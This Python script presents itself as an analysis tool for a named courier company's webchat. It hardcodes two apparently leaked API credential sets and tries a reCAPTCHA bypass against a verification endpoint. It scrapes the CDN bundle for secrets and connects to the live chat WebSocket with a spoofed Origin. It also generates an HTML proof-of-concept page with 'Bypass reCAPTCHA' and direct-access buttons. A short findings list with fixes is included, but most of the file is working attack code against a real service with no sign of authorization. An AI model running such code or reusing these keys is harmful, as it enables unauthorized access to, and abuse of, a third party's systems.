#!/usr/bin/env python3
"""
Purolator WebChat API Analysis Tool
Analyzes the webchat bot infrastructure and tests API endpoints
"""

import base64
import json
import asyncio
import websockets
import requests
from datetime import datetime
import uuid


class PurolatorWebChatAnalyzer:
    """Analyzer for Purolator's webchat infrastructure"""

    # Decoded API credentials from the minified code
    API_KEY_1 = {
        "application_uuid": "X7EUYljAOq9K8oA0Xz5H3ImOznF4dCx3bUcd",
        "access_key": "zrbSN00B5Zk5OTrSrbm2fQ29Keo8Sf1MkWRsSqHUefnwjgGe51QxRW3a0W0cEHwck06iczo1jf1LXirB5ePNfJDWUdtxSyOIA3nw"
    }

    # Decoded API credentials from WebChatConfigurator class
    API_KEY_2 = {
        "application_uuid": "pRCzU5eBwev4rozElybd Ndkxp UxahVJL rtqK",
        "access_key": "Dkn6d3ZwLxipqfvm5S8cNcnHL5nAFEzbsJ23ryFxaaMds84ASk7Z3ekbBNLlxlSBpQgXgjKcWqnn1GXZ0lSVjwbjX1UiIjL7Ovpy"
    }

    # Infrastructure endpoints
    WEBSOCKET_URL = "wss://us1-m.ocp.ai/chat/ws/session"
    CDN_URL = "https://cdn.us1-m.ocp.ai/modules/chatwidget/bundle.js"
    RECAPTCHA_SITE_KEY = "6LdDRnIqAAAAADfbHREtkXOOX6QtmC9mLCFnhFHf"
    RECAPTCHA_VERIFY_URL = "https://webchat-integration.admin9858.workers.dev/"

    def __init__(self, use_key_2=False):
        self.api_creds = self.API_KEY_2 if use_key_2 else self.API_KEY_1
        self.session_id = str(uuid.uuid4())

    def print_banner(self):
        """Print analysis banner"""
        print("=" * 80)
        print("🔍 PUROLATOR WEBCHAT API ANALYSIS TOOL")
        print("=" * 80)
        print(f"Timestamp: {datetime.now().isoformat()}")
        print(f"Session ID: {self.session_id}")
        print(
            f"Using API Key: {'#2 (WebChatConfigurator)' if self.api_creds == self.API_KEY_2 else '#1 (Minified)'}")
        print("=" * 80)
        print()

    def analyze_credentials(self):
        """Analyze the exposed API credentials"""
        print("[*] EXPOSED API CREDENTIALS")
        print("-" * 80)
        print(f"Application UUID: {self.api_creds['application_uuid']}")
        print(
            f"Access Key: {self.api_creds['access_key'][:30]}...{self.api_creds['access_key'][-10:]}")
        print(
            f"Access Key Length: {len(self.api_creds['access_key'])} characters")
        print()

    def analyze_infrastructure(self):
        """Analyze the infrastructure endpoints"""
        print("[*] INFRASTRUCTURE ENDPOINTS")
        print("-" * 80)
        print(f"WebSocket Backend: {self.WEBSOCKET_URL}")
        print(f"CDN Bundle: {self.CDN_URL}")
        print(f"reCAPTCHA Site Key: {self.RECAPTCHA_SITE_KEY}")
        print(f"reCAPTCHA Verify: {self.RECAPTCHA_VERIFY_URL}")
        print()

    def test_recaptcha_bypass(self):
        """Test the reCAPTCHA bypass mechanism"""
        print("[*] TESTING RECAPTCHA BYPASS")
        print("-" * 80)

        # Test with bypassed token
        try:
            response = requests.post(
                self.RECAPTCHA_VERIFY_URL,
                json={"token": "bypassed-token"},
                headers={"Content-Type": "application/json"},
                timeout=10
            )
            print(f"Status Code: {response.status_code}")
            print(f"Response: {json.dumps(response.json(), indent=2)}")
        except Exception as e:
            print(f"Error: {e}")
        print()

    def test_cdn_bundle(self):
        """Test access to CDN bundle"""
        print("[*] TESTING CDN BUNDLE ACCESS")
        print("-" * 80)

        try:
            response = requests.get(self.CDN_URL, timeout=10)
            print(f"Status Code: {response.status_code}")
            print(f"Content Length: {len(response.content)} bytes")
            print(f"Content Type: {response.headers.get('Content-Type')}")

            # Check for interesting strings in the bundle
            content = response.text
            interesting_keywords = ['apiKey', 'secret',
                                    'password', 'token', 'auth', 'credential']
            print("\nSearching for interesting keywords...")
            for keyword in interesting_keywords:
                count = content.lower().count(keyword.lower())
                if count > 0:
                    print(f"  - '{keyword}': {count} occurrences")
        except Exception as e:
            print(f"Error: {e}")
        print()

    async def test_websocket_connection(self):
        """Test WebSocket connection to the chat backend"""
        print("[*] TESTING WEBSOCKET CONNECTION")
        print("-" * 80)

        # Build authentication message
        auth_payload = {
            "type": "auth",
            "application_uuid": self.api_creds['application_uuid'],
            "access_key": self.api_creds['access_key'],
            "session_id": self.session_id,
            "locale": "en",
            "device": "Desktop",
            "browser": "Chrome",
            "browserVersion": "120.0"
        }

        try:
            print(f"Connecting to: {self.WEBSOCKET_URL}")
            async with websockets.connect(
                self.WEBSOCKET_URL,
                extra_headers={
                    "Origin": "https://www.purolator.com",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0"
                }
            ) as websocket:
                print("✓ WebSocket connection established!")

                # Send authentication
                print("\nSending authentication...")
                await websocket.send(json.dumps(auth_payload))
                print(f"Sent: {json.dumps(auth_payload, indent=2)}")

                # Wait for response
                print("\nWaiting for response...")
                try:
                    response = await asyncio.wait_for(websocket.recv(), timeout=5.0)
                    print(f"Received: {response}")

                    # Try to parse as JSON
                    try:
                        response_json = json.loads(response)
                        print(
                            f"\nParsed Response:\n{json.dumps(response_json, indent=2)}")
                    except:
                        pass

                except asyncio.TimeoutError:
                    print("Timeout waiting for response")

        except Exception as e:
            print(f"Error: {type(e).__name__}: {e}")
        print()

    def analyze_security_issues(self):
        """Summarize security issues found"""
        print("[*] SECURITY ANALYSIS SUMMARY")
        print("=" * 80)

        issues = [
            {
                "severity": "CRITICAL",
                "title": "Hardcoded API Credentials in Client Code",
                "description": "Base64-encoded API keys exposed in minified JavaScript",
                "impact": "Unauthorized access to chat backend, potential data access",
                "recommendation": "Move credentials to backend, use temporary session tokens"
            },
            {
                "severity": "HIGH",
                "title": "reCAPTCHA Bypass Flag",
                "description": "bypassRecaptcha flag can skip verification",
                "impact": "Bot abuse, automated attacks on chat system",
                "recommendation": "Remove bypass flag, enforce server-side validation"
            },
            {
                "severity": "HIGH",
                "title": "Direct WebSocket Access",
                "description": "Client can directly connect to wss://us1-m.ocp.ai",
                "impact": "Protocol manipulation, message injection",
                "recommendation": "Implement backend proxy, rate limiting"
            },
            {
                "severity": "MEDIUM",
                "title": "Exposed reCAPTCHA Site Key",
                "description": "Public site key with known verification endpoint",
                "impact": "Potential for automated token generation",
                "recommendation": "Monitor for abuse patterns"
            },
            {
                "severity": "MEDIUM",
                "title": "Query Parameter Injection",
                "description": "Intent/case/pin parameters passed without sanitization",
                "impact": "Session manipulation, context injection",
                "recommendation": "Validate and sanitize all query parameters"
            }
        ]

        for issue in issues:
            print(f"\n[{issue['severity']}] {issue['title']}")
            print(f"Description: {issue['description']}")
            print(f"Impact: {issue['impact']}")
            print(f"Recommendation: {issue['recommendation']}")

        print("\n" + "=" * 80)

    def generate_poc_html(self):
        """Generate PoC HTML file to test direct API access"""
        html_content = '''<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Purolator WebChat PoC</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
            background: #f5f5f5;
        }
        .container {
            background: white;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        h1 {
            color: #0c4d98;
            border-bottom: 3px solid #0c4d98;
            padding-bottom: 10px;
        }
        .control-panel {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
            margin: 20px 0;
        }
        .control-group {
            padding: 15px;
            background: #f9f9f9;
            border-radius: 4px;
        }
        .control-group label {
            display: block;
            margin-bottom: 5px;
            font-weight: bold;
            color: #333;
        }
        .control-group input, .control-group select {
            width: 100%;
            padding: 8px;
            border: 1px solid #ddd;
            border-radius: 4px;
            box-sizing: border-box;
        }
        button {
            background: #0c4d98;
            color: white;
            border: none;
            padding: 12px 24px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
            margin: 5px;
        }
        button:hover {
            background: #0a3d7a;
        }
        button.danger {
            background: #dc3545;
        }
        button.danger:hover {
            background: #bb2d3b;
        }
        #log {
            background: #1e1e1e;
            color: #d4d4d4;
            padding: 15px;
            border-radius: 4px;
            height: 400px;
            overflow-y: auto;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            margin-top: 20px;
        }
        .log-entry {
            margin: 5px 0;
            padding: 3px 0;
            border-bottom: 1px solid #333;
        }
        .log-info { color: #4fc3f7; }
        .log-success { color: #81c784; }
        .log-error { color: #e57373; }
        .log-warning { color: #ffb74d; }
        .status {
            padding: 10px;
            border-radius: 4px;
            margin: 10px 0;
            font-weight: bold;
        }
        .status.connected {
            background: #c8e6c9;
            color: #2e7d32;
        }
        .status.disconnected {
            background: #ffcdd2;
            color: #c62828;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🔓 Purolator WebChat API - Direct Access PoC</h1>
        
        <div id="status" class="status disconnected">Status: Disconnected</div>
        
        <div class="control-panel">
            <div class="control-group">
                <label>API Key Selection:</label>
                <select id="apiKeySelect">
                    <option value="1">API Key #1 (Minified Code)</option>
                    <option value="2">API Key #2 (WebChatConfigurator)</option>
                </select>
            </div>
            
            <div class="control-group">
                <label>Locale:</label>
                <select id="locale">
                    <option value="en">English</option>
                    <option value="fr">Français</option>
                </select>
            </div>
            
            <div class="control-group">
                <label>Intent (Optional):</label>
                <input type="text" id="intent" placeholder="e.g., track_shipment">
            </div>
            
            <div class="control-group">
                <label>PIN (Optional):</label>
                <input type="text" id="pin" placeholder="Tracking PIN">
            </div>
        </div>
        
        <div style="text-align: center; margin: 20px 0;">
            <button onclick="connectWebSocket()">🔌 Connect WebSocket</button>
            <button onclick="sendTestMessage()">📤 Send Test Message</button>
            <button onclick="bypassRecaptcha()">🚫 Bypass reCAPTCHA</button>
            <button onclick="clearLog()">🗑️ Clear Log</button>
            <button class="danger" onclick="disconnectWebSocket()">⛔ Disconnect</button>
        </div>
        
        <div id="log"></div>
    </div>
    
    <script>
        const API_KEYS = {
            1: {
                application_uuid: "X7EUYljAOq9K8oA0Xz5H3ImOznF4dCx3bUcd",
                access_key: "zrbSN00B5Zk5OTrSrbm2fQ29Keo8Sf1MkWRsSqHUefnwjgGe51QxRW3a0W0cEHwck06iczo1jf1LXirB5ePNfJDWUdtxSyOIA3nw"
            },
            2: {
                application_uuid: "pRCzU5eBwev4rozElybd",
                access_key: "Dkn6d3ZwLxipqfvm5S8cNcnHL5nAFEzbsJ23ryFxaaMds84ASk7Z3ekbBNLlxlSBpQgXgjKcWqnn1GXZ0lSVjwbjX1UiIjL7Ovpy"
            }
        };
        
        const WS_URL = "wss://us1-m.ocp.ai/chat/ws/session";
        let ws = null;
        
        function log(message, type = 'info') {
            const logDiv = document.getElementById('log');
            const timestamp = new Date().toISOString().split('T')[1].split('.')[0];
            const entry = document.createElement('div');
            entry.className = `log-entry log-${type}`;
            entry.textContent = `[${timestamp}] ${message}`;
            logDiv.appendChild(entry);
            logDiv.scrollTop = logDiv.scrollHeight;
        }
        
        function updateStatus(connected) {
            const statusDiv = document.getElementById('status');
            if (connected) {
                statusDiv.className = 'status connected';
                statusDiv.textContent = 'Status: Connected ✓';
            } else {
                statusDiv.className = 'status disconnected';
                statusDiv.textContent = 'Status: Disconnected ✗';
            }
        }
        
        function connectWebSocket() {
            if (ws && ws.readyState === WebSocket.OPEN) {
                log('Already connected!', 'warning');
                return;
            }
            
            const keyNum = document.getElementById('apiKeySelect').value;
            const apiKey = API_KEYS[keyNum];
            const locale = document.getElementById('locale').value;
            
            log(`Attempting connection to ${WS_URL}...`, 'info');
            log(`Using API Key #${keyNum}`, 'info');
            
            try {
                ws = new WebSocket(WS_URL);
                
                ws.onopen = () => {
                    log('WebSocket connection established!', 'success');
                    updateStatus(true);
                    
                    // Send authentication
                    const authPayload = {
                        type: 'auth',
                        application_uuid: apiKey.application_uuid,
                        access_key: apiKey.access_key,
                        session_id: generateUUID(),
                        locale: locale,
                        device: 'Desktop',
                        browser: 'Chrome',
                        browserVersion: '120.0'
                    };
                    
                    const intent = document.getElementById('intent').value;
                    const pin = document.getElementById('pin').value;
                    
                    if (intent) authPayload.intent = intent;
                    if (pin) authPayload.pin = pin;
                    
                    log('Sending authentication payload...', 'info');
                    log(JSON.stringify(authPayload, null, 2), 'info');
                    ws.send(JSON.stringify(authPayload));
                };
                
                ws.onmessage = (event) => {
                    log('Received message:', 'success');
                    try {
                        const data = JSON.parse(event.data);
                        log(JSON.stringify(data, null, 2), 'success');
                    } catch {
                        log(event.data, 'success');
                    }
                };
                
                ws.onerror = (error) => {
                    log('WebSocket error: ' + error, 'error');
                    updateStatus(false);
                };
                
                ws.onclose = () => {
                    log('WebSocket connection closed', 'warning');
                    updateStatus(false);
                };
                
            } catch (error) {
                log('Connection error: ' + error, 'error');
                updateStatus(false);
            }
        }
        
        function sendTestMessage() {
            if (!ws || ws.readyState !== WebSocket.OPEN) {
                log('Not connected! Connect first.', 'error');
                return;
            }
            
            const testMessage = {
                type: 'message',
                content: 'Hello, this is a test message from the PoC.',
                timestamp: new Date().toISOString()
            };
            
            log('Sending test message...', 'info');
            ws.send(JSON.stringify(testMessage));
        }
        
        function bypassRecaptcha() {
            log('Testing reCAPTCHA bypass...', 'warning');
            
            fetch('https://webchat-integration.admin9858.workers.dev/', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ token: 'bypassed-token' })
            })
            .then(res => res.json())
            .then(data => {
                log('reCAPTCHA bypass response:', 'success');
                log(JSON.stringify(data, null, 2), 'success');
            })
            .catch(error => {
                log('reCAPTCHA bypass error: ' + error, 'error');
            });
        }
        
        function disconnectWebSocket() {
            if (ws) {
                ws.close();
                ws = null;
                log('Disconnected', 'warning');
                updateStatus(false);
            }
        }
        
        function clearLog() {
            document.getElementById('log').innerHTML = '';
            log('Log cleared', 'info');
        }
        
        function generateUUID() {
            return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
                const r = Math.random() * 16 | 0;
                const v = c === 'x' ? r : (r & 0x3 | 0x8);
                return v.toString(16);
            });
        }
        
        // Initial log
        log('Purolator WebChat API PoC loaded', 'success');
        log('EXPOSED CREDENTIALS AVAILABLE', 'warning');
        log('Ready to test direct API access', 'info');
    </script>
</body>
</html>
'''

        with open('purolator_webchat_poc.html', 'w', encoding='utf-8') as f:
            f.write(html_content)

        print("[+] PoC HTML file generated: purolator_webchat_poc.html")
        print("    Open this file in a browser to test direct WebSocket access")
        print()


def main():
    """Main execution"""
    analyzer = PurolatorWebChatAnalyzer(use_key_2=False)

    analyzer.print_banner()
    analyzer.analyze_credentials()
    analyzer.analyze_infrastructure()
    analyzer.test_recaptcha_bypass()
    analyzer.test_cdn_bundle()

    # Run async WebSocket test
    print("[*] Starting WebSocket connection test...")
    try:
        asyncio.run(analyzer.test_websocket_connection())
    except Exception as e:
        print(f"WebSocket test failed: {e}")

    analyzer.analyze_security_issues()
    analyzer.generate_poc_html()

    print("\n[✓] Analysis complete!")
    print("\nNext steps:")
    print("  1. Open purolator_webchat_poc.html in a browser")
    print("  2. Test WebSocket connections with different API keys")
    print("  3. Monitor network traffic for additional endpoints")
    print("  4. Analyze CDN bundle for additional secrets")


if __name__ == "__main__":
    main()
